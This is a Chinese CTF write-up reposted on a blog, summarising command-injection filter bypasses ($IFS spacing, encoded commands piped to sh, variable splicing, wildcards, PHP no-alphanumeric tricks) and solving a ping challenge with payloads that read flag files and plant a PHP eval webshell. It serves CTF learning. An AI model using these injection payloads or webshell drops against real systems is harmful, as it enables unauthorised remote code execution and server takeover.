区块链技术博客
www.b2bchain.cn

CTF——命令执行总结

这篇文章主要介绍了CTF——命令执行总结的讲解,通过具体代码实例进行19570 讲解,并且分析了CTF——命令执行总结的详细步骤与相关技巧,需要的朋友可以参考下https://www.b2bchain.cn/?p=19570

本文实例讲述了2、树莓派设置连接WiFi,开启VNC等等的讲解。分享给大家供大家参考文章查询地址https://www.b2bchain.cn/7039.html。具体如下:

文章目录

    • 前言
    • 绕过姿势总结
      • 空格绕过
      • 命令分割符
      • 关键词过滤
      • 编码绕过
      • 通配符绕过
      • 用>>追加命令写shell(字符限制,拼接换行)
      • 用反斜杠拼接执行命令
      • 通过$PATH绕过
      • 网络地址转化为数字地址
      • 无字母数字构造Webshell
    • 做题实践

前言

最近遇到了好多命令执行的web题,这就来总结一下这方面的知识!!

绕过姿势总结

空格绕过

常见的绕过符号有: $IFS$9 、${IFS} 、%09(php环境下)、 重定向符<>、>
$IFS在linux下表示分隔符,如果不加{}则bash会将IFS解释为一个变量名,
加一个{}就固定了变量名,$IFS$9后面之所以加个$是为了起到截断的作用 ;为什么要用$9呢,因为$9只是当前系统shell进程的第九个参数的持有者,它始终为空字符串。
不仅 $9可以使用,我试了试其他的数字也都可以正确绕过。
CTF——命令执行总结

命令分割符

%0a  换行符,需要php环境 %0d  回车符,需要php环境 ;  在 shell 中,是”连续指令”,这个与下面的`|`作用类似 管道符: &(就是按位与),&前面和后面命令都要执行,无论前面真假 &&(就是逻辑与),如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令 |(就是按位或),直接执行|后面的语句 ||(就是逻辑或),如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句 

关键词过滤

当ls被过滤时:
a=l;b=s;$a$b
当cat flag被过滤时:
a=c;b=at;c=f;d=lag;$a$b ${c}${d}
#cat test文件内容
a=“ccaatt”;b=${a:0:1}${a:2:1}${a:4:1};$b test

编码绕过

#base64 echo Y2F0IC9mbGFn|base64 -d|bash ==>cat /flag echo Y2F0IC9mbGFn|base64 -d|sh==>cat /flag echo Y2F0IGZsYWcucGhw|base64 -d|bash==>cat flag.php echo Y2F0IGZsYWcucGhw|base64 -d|sh==>cat flag.php #hex echo "0x636174202f666c6167" | xxd -r -p|bash ==>cat /flag #oct/字节 $(printf "154163") ==>ls $(printf "x63x61x74x20x2fx66x6cx61x67") ==>cat /flag {printf,"x63x61x74x20x2fx66x6cx61x67"}|$0 ==>cat /flag #i也可以通过这种方式写马 内容为<?php @eval($_POST['c']);?> ${printf,"7477160150160401001451661411545044137120117123124133471434713551737776"} >> 1.php 

单引号双引号绕过

c'a't test c"a"t test 

反斜杠绕过

cat test 

通配符绕过

[…]表示匹配方括号之中的任意一个字符
{…}表示匹配大括号里面的所有模式,模式之间使用逗号分隔。
{…}与[…]有一个重要的区别,当匹配的文件不存在,[…]会失去模式的功能,变成一个单纯的字符串,而{…}依然可以展开

cat t?st cat te* cat t[a-z]st cat t{a,b,c,d,e,f}st 

CTF——命令执行总结

用>>追加命令写shell(字符限制,拼接换行)

CTF——命令执行总结
那么我们试试直接写马:

CTF——命令执行总结

要写post一句话的话也简单,先写入一个普通文件,然后cat写入php文件

CTF——命令执行总结

用反斜杠拼接执行命令

的作用,它不仅仅可以转义字符,若在命令最后,可以起到拼接的作用.

CTF——命令执行总结

CTF——命令执行总结
这里注意一个问题,使用单引号的时候反斜杠会写进语句的里面,所以我们使用双引号,然后再$的前面加一个反斜杠转义,就行了。

通过$PATH绕过

#echo $PATH 显示当前PATH环境变量,该变量的值由一系列以冒号分隔的目录名组成

#当执行程序时,shell自动跟据PATH变量的值去搜索该程序

#shell在搜索时先搜索PATH环境变量中的第一个目录,没找到再接着搜索,如果找到则执行它,不会

再继续搜索

echo $PATH  /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin 

网络地址转化为数字地址

网络地址有另外一种表示形式,就是数字地址比如127.0.0.1可以转化为2130706433

可以直接访问

http://2130706433
或者

http://0x7F000001

这样就可以绕过.的ip过滤,在线转换网址:http://www.msxindl.com/tools/ip/ip_num.asp

CTF——命令执行总结

无字母数字构造Webshell

<?php if(isset($_GET['code'])){     $code = $_GET['code'];     if(strlen($code)>35){         die("Long.");     }     if(preg_match("/[A-Za-z0-9_$]+/",$code)){         die("NO.");     }     eval($code); }else{     highlight_file(__FILE__);     //$hint =  "php function getFlag() to get flag" } 
phpinfo() #php5、php7可执行 (phpinfo)() #php7可执行 

所以在php7的环境中,我们可以使用编码转换等形式,将phpinfo转换成一些不可见字符再传入到题目中,这样不仅绕过了正则的匹配,也成功的执行了函数,这里进行编码转换的方式有很多种,常用的有^~,这两种方法,

取反(~):
利用的是UTF-8编码的某个汉字,并将其中某个字符取出来,
比如:和的utf-8编码为xe5x92x8c,第三个字节和{2}的值为x8c,其取反值为-141,负数用十六进制表示,通常用的是补码的方式表示。负数的补码是它本身的值每位求反,最后再加一。141 的 16 进制为 0xff73,php 中 chr(0xff73)==115,115 就是 s 的 ASCII 值。因此

<?php highlight_file(__FILE__); $_="和"; echo (~($_{2})); echo (~"x8c"); //等同与上一句  ?> 

下面是生成方式,使用URL编码的原因是,在进行“~”运算时,经常会生成不可见字符。

$a = "phpinfo"; echo urlencode(~$a); %8F%97%8F%96%91%99%90 //phpinfo 
?code=(~%8F%97%8F%96%91%99%90)(); 
$a = "getFlag"; echo urlencode(~$a); %98%9A%8B%B9%93%9E%98 //getFlag 
?code=(~%98%9A%8B%B9%93%9E%98)(); 

异或(^):

<?php     echo "A"^"?"; ?> 

CTF——命令执行总结
CTF——命令执行总结

代码对字符"A"和"?"进行了异或操作.PHP中异或时会将字符转化ASCII值在转成二进制,再进行异或.异或完反过来转化成字符

A的ASCII值为65,二进制则是01000001

?的ASCII转值为65,二进制是00111111

异或二进制结果结果为10000000,对应的字符就是~.

用脚本跑,查看谁和谁异或得到的结果是我们想要的:

if __name__ == "__main__":     for i in range(0,127):         for j in range(0,127):             result=i^j             if(chr(result) is '想要的字符'):                 print(' '+chr(i)+' xor '+chr(j)+' == '+chr(result)) 

参考了学长的博客,哈哈哈哈又收集了一个脚本,真香!主要是我太菜了!加油冲冲冲!

CTF——命令执行总结

var_dump('#'^'|'); //得到字符 _  var_dump('.'^'~'); //得到字符 P 	 var_dump('/'^'`'); //得到字符 0 	 var_dump('|'^'/'); //得到字符 S 	 var_dump('{'^'/'); //得到字符 T 	 $__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/"); 	//变量$__值为字符串'_POST' 

做题实践

下面来实践一下,看题:

题目链接:ping ping ping
解法一:
CTF——命令执行总结
查看文件:发现flag.php和index.php

CTF——命令执行总结
我们先来看index.php里边有什么:

CTF——命令执行总结
空格被过滤了,下面进行绕过:?ip=127.0.0.1;cat$IFS$9index.php

CTF——命令执行总结
flag、bash都被过滤了,不过sh没过滤:

payload:?ip=127.0.0.1;echo$IFS$9Y2F0IGZsYWcucGhw|base64$IFS$9-d|sh

Y2F0IGZsYWcucGhw是cat flag.php的base64-encode

查看源码,找到flag:
CTF——命令执行总结
解法二:
既然flag被过滤了,那么我们用字符串拼接的方式来试试能不能绕过:

?ip=127.0.0.1;a=fl;b=ag;cat$IFS$9$a$b.php 

发现不行,那么将顺序颠倒一下:

?ip=127.0.0.1;a=ag;b=fl;cat$IFS$9$b$a.php 

成功
解法三:
内联执行:将反引号内命令的输出作为输入执行。
payload: ?ip=127.0.0.1;cat$IFS$9`ls`

直接把两个文件里边的内容都爆出来了:

CTF——命令执行总结

下面看这一题,命令执行——重定向:
本题没有任何绕过,

shell_exec — 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。

CTF——命令执行总结
解法一:

payload:?ip=;echo "<?php @eval($_POST['A']);?>" >>666.php

这个解题思路是写进一句话到666.php下,然后通过蚁剑找到根目录下的flag.php

使用蚁剑连接,使用方法这里就不多说了,在根目录下面找到flag.php了!!!

CTF——命令执行总结
解法二:
通过post传参的形式,将flag.php重定向至自己命名的一个文件中。
CTF——命令执行总结
这里我就是将flag.php写进qwer.txt中,

然后访问qwer.txt就直接显示出了flag。

CTF——命令执行总结

参考博客:

酉酉囧
1emon~

本文转自互联网,侵权联系删除CTF——命令执行总结

赞(0) 打赏
部分文章转自网络,侵权联系删除b2bchain区块链学习技术社区 » CTF——命令执行总结
分享到: 更多 (0)

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址

b2b链

联系我们联系我们